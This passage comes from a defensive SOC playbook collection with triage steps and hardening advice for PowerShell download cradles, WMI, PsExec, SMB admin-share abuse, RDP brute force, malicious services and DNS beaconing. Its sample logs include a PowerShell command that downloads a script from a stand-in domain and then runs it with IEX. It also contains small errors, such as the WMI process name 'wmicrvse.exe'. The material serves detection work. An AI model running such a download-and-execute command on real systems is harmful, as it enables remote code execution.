- Confirm no scheduled tasks or Run keys added
- Confirm no outbound connections persist
- Monitor host for re-execution attempts

11. Prevention & Hardening

Control: PowerShell Logging

Action: Enable Script Block and Module Logging

Control: AMSI

Action: Enforce AMSI inspection

Control: Application Control

Action: Restrict PowerShell usage

Control: Detection

Action: Alert on encoded command usage

12. Mapping to NIST Incident Response

- Preparation: PowerShell hardening
- Detection: Encoded command alert
- Analysis: Command decoding
- Containment: Process termination
- Eradication: Payload removal
- Recovery: System validation
- Lessons Learned: Detection tuning

13. SOC Perspective

- Encoded PowerShell is never accidental.
- If someone hides the command, it is because they do not want you to see it.
- Treat every encoded execution as hostile until proven otherwise.

[EXECUTION] PLAYBOOK 13: POWERSHELL DOWNLOAD CRADLE – REMOTE PAYLOAD EXECUTION

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-013
- Use Case Name: PowerShell Download Cradle
- MITRE ATT&CK Tactic: Execution
- Technique ID: T1059.001
- Technique Name: PowerShell
- Threat Category: Malware Delivery / Living-off-the-Land
- Severity (Default): High
- Escalation Severity: Critical (if payload executes or establishes C2)
- Applies To: Windows Endpoints, Servers, Jump Hosts, VDI
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Suspicious Execution / Malware Delivery

2. Threat Description

An attacker uses PowerShell as a download cradle to retrieve and execute a second-stage payload from an external source.

Common methods include:

- Invoke-WebRequest
- System.Net.WebClient
- BitsTransfer
- Invoke-Expression

The payload is often executed directly in memory or saved briefly to disk before execution.

This technique enables attackers to:

- Avoid dropping obvious malware
- Bypass application allowlists
- Rapidly deploy tools across systems

3. Why This Detection Matters in 2026

PowerShell download cradles remain one of the most reliable initial execution methods.

In 2026, attackers:

- Use HTTPS to blend with normal traffic
- Host payloads on compromised legitimate sites
- Chain cradles with encoded commands
- Execute payloads within seconds of access

Detection here can stop the attack before persistence or credential theft.

4. Detection Logic

Trigger alert when:

- PowerShell initiates outbound HTTP or HTTPS connections
- PowerShell downloads executable or script content
- Downloaded content is executed immediately
- PowerShell launched by Office, browser or script host

Increase severity if:

- Destination domain is newly registered
- Content type is executable or script
- PowerShell executed from user endpoint
- Command includes IEX or Invoke-Expression

5. Log Data

Process Execution Logs

2026-12-17 02:03:55 | PROCESS_START | process=powershell.exe |

command=Invoke-WebRequest http://updates-check[.]site/loader.ps1 -OutFile
C:\Users\Public\ldr.ps1

Network Telemetry

2026-12-17 02:03:56 | HTTP_REQUEST | process=powershell.exe | dest_domain=updates-
check.site | method=GET

Followed by:

2026-12-17 02:03:57 | PROCESS_START | process=powershell.exe | command=IEX
C:\Users\Public\ldr.ps1

Clear download-and-execute behaviour.

6. Possible Attack Scenarios

Scenario A – Phishing-Led Execution

User opens a malicious attachment or link that triggers a PowerShell download cradle.

Scenario B – Scripted Post-Exploitation

After privilege escalation, attacker deploys tools using PowerShell to avoid dropping binaries manually.

Scenario C – Staged Malware Deployment

PowerShell fetches a lightweight loader that then retrieves heavier payloads.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Was content downloaded
- Was it executed
- What domain hosted the payload
- Who executed the command

Immediate Checks

- Command-line arguments
- Destination domain reputation
- File hash if written to disk
- User privilege context

Decision

- Legitimate admin script → Escalate to L2
- Download and execute observed → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Analyse downloaded script or binary
- Check for persistence creation
- Check for outbound C2 traffic
- Search environment for similar activity

High-Risk Indicators

- Newly registered domains

- PowerShell executing from user context
- Immediate follow-on execution
- Chained PowerShell processes

8. Incident Escalation Criteria

Escalate to Incident when:

- PowerShell downloads and executes payload
- Malicious script content confirmed

Escalate to Critical if:

- C2 communication established
- Credential theft follows
- Multiple systems affected

9. Containment Actions

Immediate SOC Actions

- Terminate PowerShell process
- Block malicious domain or IP
- Isolate affected host

Extended IR Actions

- Remove downloaded artefacts
- Reset credentials used on affected host
- Preserve scripts and network logs

10. Recovery & Validation

- Confirm no persistence mechanisms created
- Confirm no malicious processes remain
- Confirm no outbound connections persist
- Monitor host for re-execution attempts

11. Prevention & Hardening

Control: PowerShell Constrained Language

Action: Enforce constrained mode where possible

Control: Network Controls

Action: Block PowerShell outbound internet access

Control: Logging

Action: Enable PowerShell Script Block Logging

Control: Detection

Action: Alert on PowerShell web requests

12. Mapping to NIST Incident Response

- Preparation: PowerShell governance
- Detection: Download cradle alert
- Analysis: Script and payload review
- Containment: Process and network isolation
- Eradication: Malware removal
- Recovery: System validation
- Lessons Learned: Detection enhancement

13. SOC Perspective

- PowerShell download cradles are the delivery trucks of modern attacks.
- If you stop the download, you stop everything that comes after.
- Always assume the payload was designed to escalate fast.

[LATERAL MOVEMENT] PLAYBOOK 14: WMI REMOTE EXECUTION

– LATERAL MOVEMENT VIA WMI

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-014
- Use Case Name: WMI Remote Execution
- MITRE ATT&CK Tactic: Lateral Movement
- Technique ID: T1047
- Technique Name: Windows Management Instrumentation
- Threat Category: Lateral Movement / Living-off-the-Land
- Severity (Default): High
- Escalation Severity: Critical (if combined with credential dumping or domain targeting)
- Applies To: Windows Endpoints, Servers, Active Directory Environments
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Lateral Movement Detected

2. Threat Description

An attacker uses Windows Management Instrumentation (WMI) to execute commands remotely on other hosts.

This technique allows attackers to:

- Execute commands without dropping binaries
- Leverage existing admin or service credentials
- Blend in with legitimate administrative activity

WMI execution typically follows credential theft and enables silent lateral movement across the environment.

3. Why This Detection Matters in 2026

In 2026, attackers increasingly avoid noisy tools.

WMI is attractive because it:

- Is built into Windows
- Does not require file transfer
- Bypasses many application controls
- Leaves limited artefacts if not monitored

Detection of WMI abuse often means the attacker already has valid administrative credentials.

4. Detection Logic

Trigger alert when:

- WMI process execution occurs across hosts
- Remote process creation via wmicrvse.exe
- WMI used by non-admin or unexpected accounts
- WMI activity outside approved admin workflows

Increase severity if:

- Source account was recently compromised
- Execution occurs outside business hours
- Target hosts are servers or domain controllers
- Commands executed match known attacker behaviour

5. Log Data

Windows Security Logs

2026-12-28 01:18:09 | PROCESS_START | process=cmd.exe | parent=wmicrvse.exe | host=APP-SRV-02

2026-12-28 01:18:10 | LOGON | user=svc-backup01 | logon_type=3 | src_host=FIN-WS-07

EDR Telemetry

2026-12-28 01:18:08 | REMOTE_EXECUTION | technique=WMI | source=FIN-WS-07 | target=APP-SRV-02

Clear indication of remote command execution via WMI.

6. Possible Attack Scenarios

Scenario A – Credential-Based Lateral Movement

After dumping credentials, attacker uses WMI to move silently between systems.

Scenario B – Domain Recon Expansion

WMI used to execute discovery commands across multiple hosts to map environment.

Scenario C – Pre-Ransomware Propagation

Attacker spreads execution across servers before deploying ransomware.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Which account initiated WMI execution
- What command was executed
- Which hosts were targeted
- Is this normal admin behaviour

Immediate Checks

- Account privilege level
- Command executed
- Source and target host roles
- Recent alerts involving the same account

Decision

- Approved admin action → Escalate to L2
- Unapproved WMI execution → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Review WMI event logs and EDR telemetry
- Check for credential theft prior to execution
- Search for additional lateral movement
- Check for persistence creation on target hosts

High-Risk Indicators

- Service account used interactively
- Multiple hosts targeted sequentially
- Execution shortly after LSASS dumping
- Execution on domain controllers

8. Incident Escalation Criteria

Escalate to Incident when:

- Unapproved WMI remote execution detected
- Credential compromise suspected

Escalate to Critical if:

- Multiple systems affected
- Domain controllers targeted
- Persistence or ransomware staging observed

9. Containment Actions

Immediate SOC Actions

- Disable or restrict executing account
- Terminate suspicious processes
- Isolate affected hosts if necessary

Extended IR Actions

- Reset credentials used for WMI
- Review admin access scope
- Preserve WMI logs and artefacts
- Hunt for additional lateral movement

10. Recovery & Validation

- Confirm no malicious processes remain
- Confirm no new persistence mechanisms added
- Validate authentication integrity across environment
- Monitor for repeat WMI execution attempts

11. Prevention & Hardening

Control: WMI Monitoring

Action: Alert on remote process creation

Control: Least Privilege

Action: Restrict WMI permissions

Control: Admin Segmentation

Action: Separate admin and user accounts

Control: Logging

Action: Enable detailed WMI event logging

12. Mapping to NIST Incident Response

- Preparation: Admin access governance

- Detection: WMI execution alert
- Analysis: Lateral movement assessment
- Containment: Account restriction
- Eradication: Credential rotation
- Recovery: Access validation
- Lessons Learned: Lateral movement controls

13. SOC Perspective

- WMI is silent, trusted and powerful.
- If attackers use it, they are already inside your administrative boundary.
- Treat WMI abuse as confirmed lateral movement, not experimentation.

[LATERAL MOVEMENT] PLAYBOOK 15: PSEXEC EXECUTION – LATERAL MOVEMENT VIA ADMIN TOOLS

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-015
- Use Case Name: PsExec Execution
- MITRE ATT&CK Tactic: Lateral Movement
- Technique ID: T1569.002
- Technique Name: Service Execution
- Threat Category: Lateral Movement / Living-off-the-Land
- Severity (Default): High
- Escalation Severity: Critical (if combined with credential theft or multi-host spread)
- Applies To: Windows Endpoints, Servers, Active Directory Environments
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Lateral Movement Detected

2. Threat Description

An attacker abuses PsExec, a legitimate Sysinternals administrative tool, to execute commands or deploy malware across remote systems.

PsExec works by:

- Creating a temporary service on the target system
- Executing commands remotely
- Running with SYSTEM privileges

Because PsExec is widely used by administrators, attackers use it to blend into normal IT activity.

3. Why This Detection Matters in 2026

In 2026, attackers increasingly use legitimate admin tools instead of custom malware.

PsExec is attractive because it:

- Is trusted in many environments
- Bypasses some application controls
- Provides SYSTEM-level execution
- Scales easily across multiple hosts

Detection of PsExec usage outside approved workflows often means rapid lateral movement is underway.

4. Detection Logic

Trigger alert when:

- PsExec binary execution detected
- Temporary service created by PsExec (PSEXESVC)
- Remote command execution using PsExec observed
- PsExec used by non-admin or service accounts

Increase severity if:

- Executed shortly after credential dumping
- Multiple hosts targeted
- Execution occurs outside business hours
- Commands include malware deployment or disabling security tools

5. Log Data

Windows Security Logs

2027-01-09 01:02:44 | SERVICE_CREATE | service=PSEXESVC | user=svc-backup01 | host=APP-SRV-03

2027-01-09 01:02:46 | PROCESS_START | process=cmd.exe | parent=PSEXESVC | integrity=System

EDR Telemetry

2027-01-09 01:02:43 | REMOTE_EXECUTION | tool=PsExec | source=FIN-WS-07 | target=APP-SRV-03

Clear indication of PsExec-based lateral movement.

6. Possible Attack Scenarios

Scenario A – Credential Theft Followed by Spread

After dumping credentials, attacker uses PsExec to deploy tools across multiple systems.

Scenario B – Rapid Pre-Ransomware Propagation

PsExec used to distribute ransomware payloads quickly before detonation.

Scenario C – Stealthy Admin Tool Abuse

Attacker abuses PsExec to blend in with legitimate admin behaviour and avoid detection.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

- Questions to Answer
- Who executed PsExec
- Which systems were targeted
- What commands were executed
- Is PsExec allowed in the environment

Immediate Checks

- Account privilege level
- Time of execution
- Number of target hosts
- Recent alerts involving the same account

Decision

- Approved admin activity → Escalate to L2
- Unapproved PsExec usage → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Review PsExec command-line arguments
- Check for malware deployment
- Correlate with credential theft alerts
- Search for additional lateral movement

High-Risk Indicators

- Service account used interactively
- PsExec used outside maintenance windows
- Multiple hosts affected
- Security tools disabled post-execution

8. Incident Escalation Criteria

Escalate to Incident when:

- Unapproved PsExec execution detected
- Evidence of malicious command execution

Escalate to Critical if:

- Multi-host propagation observed
- Domain controllers targeted
- Persistence or ransomware staging detected

9. Containment Actions

Immediate SOC Actions

- Disable or restrict executing account
- Terminate PsExec-related services
- Isolate affected systems if required

Extended IR Actions

- Reset credentials used for PsExec
- Remove malicious artefacts
- Preserve service creation logs
- Hunt for additional PsExec usage

10. Recovery & Validation

- Confirm PsExec services removed
- Confirm no malicious processes persist
- Validate system integrity across affected hosts
- Monitor environment for repeat PsExec usage

11. Prevention & Hardening

Control: Tool Governance

Action: Restrict PsExec usage to approved admins

Control: Monitoring

Action: Alert on PsExec service creation

Control: Least Privilege

Action: Limit admin credentials scope

Control: Network Segmentation

Action: Restrict admin access paths

12. Mapping to NIST Incident Response

- Preparation: Admin tool governance

- Detection: PsExec execution alert
- Analysis: Lateral movement assessment
- Containment: Account restriction
- Eradication: Artefact removal
- Recovery: System validation
- Lessons Learned: Tool usage controls

13. SOC Perspective

- When attackers use PsExec, they are moving fast and wide.
- This is no longer a foothold. This is environment takeover in progress.
- Respond accordingly.

[LATERAL MOVEMENT] PLAYBOOK 16: SMB LATERAL MOVEMENT

– WINDOWS ADMIN SHARE ABUSE

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-016
- Use Case Name: SMB Lateral Movement
- MITRE ATT&CK Tactic: Lateral Movement
- Technique ID: T1021.002
- Technique Name: SMB / Windows Admin Shares
- Threat Category: Lateral Movement / Credential Abuse
- Severity (Default): High
- Escalation Severity: Critical (if combined with credential dumping or multi-host spread)
- Applies To: Windows Endpoints, Servers, File Servers, Active Directory Environments
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Lateral Movement Detected

2. Threat Description

An attacker uses SMB administrative shares such as ADMIN\$, C\$ or IPC\$ to copy payloads and execute commands on remote systems.

This technique relies on:

- Stolen credentials
- NTLM hashes (Pass-the-Hash)
- Existing admin or service account privileges

SMB lateral movement is often paired with PsExec, WMI or scheduled task execution.

3. Why This Detection Matters in 2026

In 2026, SMB remains a primary lateral movement vector because:

- It is enabled by default in many environments
- Admin shares are widely trusted
- Credential reuse is still common

Once SMB lateral movement begins, attackers can:

- Rapidly spread across the network

- Deploy ransomware at scale
- Access file servers and domain controllers

This usually indicates post-exploitation expansion.

4. Detection Logic

Trigger alert when:

- Unusual access to ADMIN\$, C\$ or IPC\$ shares detected
- SMB authentication occurs across many hosts in short time
- SMB access by service or non-interactive accounts
- File copy followed by remote execution

Increase severity if:

- Source account recently dumped credentials
- Multiple hosts targeted sequentially
- Activity occurs outside business hours
- Source host is not an admin jump server

5. Log Data

Windows Security Logs

2027-01-22 02:44:19 | LOGON_SUCCESS | user=svc-backup01 | logon_type=3 |
src_host=FIN-WS-07 | target=FILE-SRV-01

2027-01-22 02:44:21 | FILE_COPY | source=\\FIN-WS-07\\ADMIN\$ | dest=\\FILE-SRV-01\\ADMIN\$\\upd.exe

EDR Telemetry

2027-01-22 02:44:23 | PROCESS_START | process=upd.exe | parent=services.exe |
integrity=System

Clear pattern of copy-and-execute via SMB admin shares.

6. Possible Attack Scenarios

Scenario A – Pass-the-Hash Propagation

Attacker uses NTLM hashes dumped from LSASS to authenticate to multiple hosts via SMB.

Scenario B – Ransomware Staging

Payloads copied to many systems via ADMIN\$ before coordinated execution.

Scenario C – File Server Compromise
SMB used to access and stage sensitive files prior to exfiltration.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Which account accessed the admin share
- Which systems were targeted
- What files were copied
- Is this normal admin behaviour

Immediate Checks

- Account type and privilege level
- Source host role
- Time-of-day context
- Recent credential theft alerts

Decision

- Approved admin operation → Escalate to L2
- Unapproved SMB admin share usage → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Correlate SMB logons across hosts
- Check for Pass-the-Hash indicators
- Review copied file hashes
- Check for execution on target systems

High-Risk Indicators

- Service account used interactively
- Sequential host targeting
- SMB access followed by process creation
- Activity after LSASS dumping

8. Incident Escalation Criteria

Escalate to Incident when:

- Unapproved SMB admin share access detected
- File copy followed by execution

Escalate to Critical if:

- Multiple hosts compromised
- Domain controllers or file servers targeted
- Ransomware staging observed

9. Containment Actions

Immediate SOC Actions

- Disable or restrict affected account
- Block SMB access from source host
- Isolate compromised systems

Extended IR Actions

- Reset exposed credentials
- Invalidate NTLM authentication where possible
- Hunt for additional SMB activity
- Preserve file and authentication logs

10. Recovery & Validation

- Confirm removal of malicious files
- Confirm no further SMB admin access occurs
- Validate system integrity across affected hosts
- Monitor for renewed lateral movement attempts

11. Prevention & Hardening

Control: SMB Hardening

Action: Disable unnecessary admin shares

Control: Credential Hygiene

Action: Enforce unique local admin passwords (LAPS)

Control: Network Segmentation

Action: Restrict SMB traffic paths

Control: Monitoring

Action: Alert on admin share access

12. Mapping to NIST Incident Response

- Preparation: Network and credential hardening
- Detection: SMB admin share alert
- Analysis: Lateral movement assessment
- Containment: Account and network restriction
- Eradication: Credential reset and file removal
- Recovery: Controlled access restoration
- Lessons Learned: SMB exposure reduction

13. SOC Perspective

- SMB lateral movement is how attackers scale.
- If you see ADMIN\$ abused, assume the attacker is already moving fast.
- Stop the spread before it becomes an outbreak.

[CREDENTIAL ACCESS] PLAYBOOK 17: RDP BRUTE FORCE – PASSWORD GUESSING ATTACK

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-017
- Use Case Name: RDP Brute Force
- MITRE ATT&CK Tactic: Credential Access
- Technique ID: T1110.001
- Technique Name: Password Guessing
- Threat Category: Remote Access Abuse / Credential Attack
- Severity (Default): High
- Escalation Severity: Critical (if access is gained or privileged account targeted)
- Applies To: Windows Servers, Jump Hosts, VDI, Perimeter-Facing Systems
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: External Attack / Potential Account Takeover

2. Threat Description

An attacker performs repeated authentication attempts against Remote Desktop Protocol (RDP) services using guessed or stolen passwords.

This may involve:

- Automated brute-force tools
- Manual password guessing
- Credential lists from previous breaches

Targets are commonly:

- Internet-exposed RDP servers
- VPN-accessible internal servers
- Legacy systems without MFA

3. Why This Detection Matters in 2026

Despite awareness, RDP brute force remains effective because:

- RDP is still exposed in many environments
- Weak or reused passwords persist
- Lockout thresholds are tuned conservatively
- Some systems lack MFA enforcement

Successful RDP access often leads directly to:

- Interactive attacker control
- Credential dumping
- Ransomware deployment

This is a high-risk initial access vector.

4. Detection Logic

Trigger alert when:

- Multiple failed RDP login attempts detected
- Repeated failures from same IP or subnet
- Failures distributed across many usernames
- Failures followed by a successful RDP login

Increase severity if:

- Target is internet-facing
- Account is privileged or service account
- Source IP is TOR, VPN or hosting ASN
- Login occurs outside business hours

5. Log Data

Windows Security Logs

2027-02-11 00:31:04 | LOGON_FAILURE | user=administrator | src_ip=45.134.26.78 | logon_type=10

2027-02-11 00:31:12 | LOGON_FAILURE | user=administrator | src_ip=45.134.26.78 | logon_type=10

2027-02-11 00:31:19 | LOGON_FAILURE | user=administrator | src_ip=45.134.26.78 | logon_type=10

Followed by:

2027-02-11 00:34:47 | LOGON_SUCCESS | user=administrator | src_ip=45.134.26.78 | logon_type=10

Clear brute-force followed by success pattern.

6. Possible Attack Scenarios

Scenario A – Internet-Facing Server Attack

Attacker scans the internet for exposed RDP and brute-forces credentials until access is achieved.

Scenario B – Internal Lateral Brute Force

After gaining a foothold, attacker brute-forces RDP on internal servers using stolen username lists.

Scenario C – Pre-Ransomware Entry

Successful RDP access used as the launch point for ransomware or destructive activity.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Is RDP exposed externally
- How many failed attempts occurred
- Did any attempt succeed
- Is the account privileged

Immediate Checks

- Logon type (10) confirmation
- Source IP reputation
- Account lockout status
- Recent alerts on the same host

Decision

- Only failures, no success → Escalate to L2
- Failure followed by success → Incident immediately

L2 Analyst – Deep Analysis

Analysis Steps

- Correlate RDP failures across hosts
- Check for post-login activity
- Check for credential dumping or persistence
- Check for additional lateral movement

High-Risk Indicators

- Success after multiple failures
- Admin account involved
- New service or scheduled task created
- Security tools disabled post-login

8. Incident Escalation Criteria

Escalate to Incident when:

- RDP brute force results in successful login
- User denies the login

Escalate to Critical if:

- Admin or service account compromised
- Multiple systems targeted
- Follow-on malicious activity observed

9. Containment Actions

Immediate SOC Actions

- Block source IP or subnet
- Disable affected account
- Terminate active RDP sessions

Extended IR Actions

- Reset compromised credentials
- Enable MFA for RDP access
- Restrict RDP exposure at firewall
- Preserve authentication logs

10. Recovery & Validation

- Re-enable account with strong password
- Confirm no persistence mechanisms added
- Confirm no malware or tools dropped
- Monitor RDP access attempts closely

11. Prevention & Hardening

Control: Network Exposure

Action: Remove direct internet-exposed RDP

Control: MFA

Action: Enforce MFA for all RDP access

Control: Account Lockout

Action: Tune thresholds carefully

Control: Monitoring

Action: Alert on RDP brute-force patterns

12. Mapping to NIST Incident Response

- Preparation: RDP hardening and MFA
- Detection: RDP brute-force alert
- Analysis: Authentication pattern review
- Containment: Account and IP blocking
- Eradication: Credential reset
- Recovery: Secure access restoration
- Lessons Learned: RDP exposure reduction

13. SOC Perspective

- RDP brute force is loud, persistent and dangerous.
- If attackers succeed here, they gain keyboard-level control.
- Do not wait for malware to appear. Stop them at the door.

[PERSISTENCE] PLAYBOOK 18: NEW SERVICE INSTALLED – SYSTEM-LEVEL PERSISTENCE

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-018
- Use Case Name: New Service Installed
- MITRE ATT&CK Tactic: Persistence
- Technique ID: T1543.003
- Technique Name: Windows Service
- Threat Category: Persistence / Privileged BackdoorSeverity (Default): Critical
- Escalation Severity: Critical
- Applies To: Windows Endpoints, Servers, Domain Controllers
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Privileged Persistence Detected

2. Threat Description

An attacker installs malware as a Windows service to ensure it runs:

- Automatically at system startup
- With SYSTEM-level privileges
- Independently of user sessions

Services are often named to resemble:

- Legitimate system components
- Vendor software
- Security or update processes

This grants attackers persistent, high-privilege execution.

3. Why This Detection Matters in 2026

In 2026, service-based persistence is still widely used because:

- Services are trusted by the OS
- They run before user logon
- They often bypass user-level security controls

If a malicious service is installed, the attacker has achieved durable SYSTEM access.

4. Detection Logic

Trigger alert when:

- New Windows service created
- Existing service modified to point to new binary
- Service created outside approved change windows

Increase severity if:

- Service binary is unsigned
- Binary located in user-writable paths
- Service runs as LocalSystem
- Service created shortly after privilege escalation

5. Log Data

Windows Security Logs

2027-02-26 01:47:33 | SERVICE_CREATE | service=WinUpdateHelper | binary=C:\ProgramData\wuhelper.exe | user=svc-backup01

2027-02-26 01:47:34 | SERVICE_START | service=WinUpdateHelper | run_as=LocalSystem

EDR File Telemetry

2027-02-26 01:47:31 | FILE_CREATE | file=C:\ProgramData\wuhelper.exe | signer=Unsigned

Strong indication of malicious SYSTEM-level persistence.

6. Possible Attack Scenarios

Scenario A – Post-Privilege Escalation Backdoor

After gaining admin access, attacker installs a service to maintain SYSTEM privileges.

Scenario B – Pre-Ransomware Persistence

Service ensures ransomware launcher runs after reboot or security intervention.

Scenario C – Stealth Long-Term Access

Service quietly maintains C2 communication in the background.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Which service was created
- Who created the service
- What binary is executed
- Is the service name legitimate

Immediate Checks

- Service binary path
- Digital signature
- Creation time
- Associated user account

Decision

- Approved service deployment → Escalate to L2
- Unapproved service creation → Incident immediately

L2 Analyst – Deep Analysis

Analysis Steps

- Analyse service binary
- Check network communication
- Check for additional persistence
- Review service configuration and recovery options

High-Risk Indicators

- Unsigned binary
- Service name mimics OS components
- Service runs as SYSTEM
- Created after credential dumping

8. Incident Escalation Criteria

Always escalate to Incident when:

- Unapproved Windows service installed
- Malicious binary confirmed

Escalate to Crisis if:

- Service installed on domain controller
- Multiple services created
- Follow-on ransomware activity observed

9. Containment Actions

Immediate SOC Actions

- Stop and disable malicious service
- Isolate affected host
- Terminate associated processes

Extended IR Actions

- Remove service and binary
- Reset credentials used to install service
- Preserve service and binary artefacts
- Hunt for similar services environment-wide

10. Recovery & Validation

- Confirm service removal
- Confirm service does not reappear after reboot
- Validate system integrity
- Monitor host for abnormal behaviour

11. Prevention & Hardening

Control: Service Creation Monitoring

Action: Alert on all new service creation

Control: Application Control

Action: Block execution from user-writable paths

Control: Privileged Access

Action: Restrict service installation rights

Control: Change Management

Action: Enforce service deployment approvals

12. Mapping to NIST Incident Response

- Preparation: Endpoint governance
- Detection: Service creation alert
- Analysis: Binary and configuration review
- Containment: Service disable
- Eradication: Malware removal
- Recovery: Clean system validation

- Lessons Learned: Persistence detection improvement

13. SOC Perspective

- If attackers install a service, they are no longer hiding.
- They are embedding themselves into the system.
- Treat service-based persistence as full compromise until proven otherwise.

[COMMAND AND CONTROL] PLAYBOOK 19: DNS BEACONING – COMMAND AND CONTROL OVER DNS

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-019
- Use Case Name: DNS Beacons
- MITRE ATT&CK Tactic: Command and Control
- Technique ID: T1071.004
- Technique Name: DNS
- Threat Category: Covert C2 / Data ExfiltrationSeverity (Default): Critical
- Escalation Severity: Critical
- Applies To: Endpoints, Servers, Cloud Workloads, DNS Infrastructure
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Active Command-and-Control Detected

2. Threat Description

A compromised host communicates with an attacker-controlled infrastructure using DNS queries instead of direct HTTP or TCP connections.

The attacker abuses DNS to:

- Send periodic beacons
- Receive encoded commands
- Exfiltrate small chunks of data

DNS traffic is chosen because it is:

- Almost always allowed outbound
- Rarely inspected deeply
- Trusted by network controls

This indicates the attacker has established control, not just access.

3. Why This Detection Matters in 2026

In 2026, DNS-based C2 remains highly effective because:

- Many organisations still lack DNS inspection
- Encrypted DNS (DoH/DoT) reduces visibility
- DNS traffic blends with normal application behaviour

Once DNS beaconing is active, the attacker can:

- Issue commands on demand
- Maintain long-term access
- Stage or exfiltrate sensitive data

This is active attacker control.

4. Detection Logic

Trigger alert when:

- High-frequency DNS queries to same domain
- DNS queries with unusually long or random subdomains
- Consistent time intervals between queries
- DNS requests to newly registered or low-reputation domains

Increase severity if:

- Queries are Base32 or Base64-like
- Responses contain encoded data
- Beaconing occurs outside business hours
- Source host recently showed persistence or credential theft

5. Log Data

DNS Logs

2027-03-12 02:14:11 | DNS_QUERY | src=FIN-WS-07 | query=Y2FkZjM0ZjEyLmMyaC5leGFtcGxl | type=A

2027-03-12 02:14:41 | DNS_QUERY | src=FIN-WS-07 | query=ZjEyYTRlYmU0LmMyaC5leGFtcGxl | type=A

2027-03-12 02:15:11 | DNS_QUERY | src=FIN-WS-07 | query=ZWY4MWRhYmM5LmMyaC5leGFtcGxl | type=A

EDR Network Telemetry

2027-03-12 02:15:11 | NETWORK_BEACON | protocol=DNS | interval=30s | host=FIN-WS-07

Strong evidence of periodic DNS beaconing.

6. Possible Attack Scenarios

Scenario A – Post-Persistence C2 Channel

After installing a service or scheduled task, attacker establishes DNS beaconing for long-term control.

Scenario B – Stealth Data Exfiltration

Small amounts of sensitive data encoded into DNS queries to bypass DLP and firewall controls.

Scenario C – Fallback C2 Channel

DNS used as backup when HTTP or HTTPS C2 is blocked.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Which host is beaconing
- What domain is contacted
- How often do queries occur
- Is the domain legitimate

Immediate Checks

- Domain age and reputation
- Query entropy and length
- Beacon interval consistency
- Recent alerts on the same host

Decision

- Legitimate DNS behaviour → Escalate to L2
- Suspicious beaconing pattern → Incident immediately

L2 Analyst – Deep Analysis

Analysis Steps

- Decode DNS subdomain content if possible
- Correlate with process-level telemetry
- Check for persistence mechanisms
- Search environment for same domain

High-Risk Indicators

- Perfectly periodic DNS traffic
- Encoded or random-looking subdomains
- Beacons from servers or DCs
- DNS traffic following PowerShell or service creation

8. Incident Escalation Criteria

Always escalate to Incident when:

- Confirmed DNS beacons detected
- Attacker-controlled domain identified

Escalate to Crisis if:

- Multiple hosts beacons
- Data exfiltration confirmed
- DNS used from critical systems

9. Containment Actions

Immediate SOC Actions

- Block malicious domain at DNS layer
- Isolate affected host
- Terminate associated processes

Extended IR Actions

- Remove persistence mechanisms
- Reset exposed credentials
- Preserve DNS and endpoint logs
- Notify network and DNS teams

10. Recovery & Validation

- Confirm DNS beacons stop
- Confirm no alternate C2 channels active
- Validate host integrity
- Monitor DNS traffic for recurrence

11. Prevention & Hardening

Control: DNS Monitoring

Action: Detect beacons and high-entropy domains

Control: Egress Filtering

Action: Restrict DNS to authorised resolvers

Control: Threat Intelligence

Action: Block newly registered malicious domains

Control: Endpoint Security

Action: Detect C2 behaviour patterns

12. Mapping to NIST Incident Response

- Preparation: DNS visibility and logging
- Detection: DNS beacon alert
- Analysis: C2 confirmation
- Containment: Domain blocking and host isolation
- Eradication: Malware and persistence removal
- Recovery: Clean system validation
- Lessons Learned: DNS control improvements

13. SOC Perspective

- When DNS starts carrying commands, the attacker is already inside and listening.
- This is not reconnaissance. This is remote control.
- Cut the channel fast, or the attacker will keep coming back.

[COMMAND AND CONTROL] PLAYBOOK 20: HTTP BEACON INTERVALS – WEB-BASED COMMAND AND CONTROL

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-020
- Use Case Name: HTTP Beacon Intervals
- MITRE ATT&CK Tactic: Command and Control
- Technique ID: T1071.001
- Technique Name: Web Protocols
- Threat Category: Covert C2 / Stealth Communications
- Severity (Default): Critical
- Escalation Severity: Critical
- Applies To: Endpoints, Servers, Cloud Workloads, Proxies
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Active Command-and-Control Detected

2. Threat Description

Malware establishes a low-and-slow HTTP or HTTPS beacon to an attacker-controlled server.

The beacon typically:

- Uses standard ports (80 / 443)
- Sends small, periodic requests
- Mimics legitimate browser or application traffic

This allows the attacker to maintain persistent control while blending into normal web activity.

3. Why This Detection Matters in 2026

In 2026, HTTP/S remains the most common C2 channel because:

- Web traffic is universally allowed
- TLS encryption limits inspection
- Beaconsing blends with SaaS and API traffic

Once HTTP beaconsing is established, attackers can:

- Issue commands on demand
- Deploy additional payloads

- Exfiltrate data slowly
- Remain undetected for long periods

This represents active remote control of the compromised host.

4. Detection Logic

Trigger alert when:

- Repeated outbound HTTP/S requests to same destination
- Consistent time intervals between requests
- Small, uniform payload sizes
- Suspicious or static User-Agent strings

Increase severity if:

- Destination is newly registered or low reputation
- Beacon interval is highly regular
- Traffic originates from servers or privileged systems
- Beacons follow persistence or PowerShell execution

5. Log Data

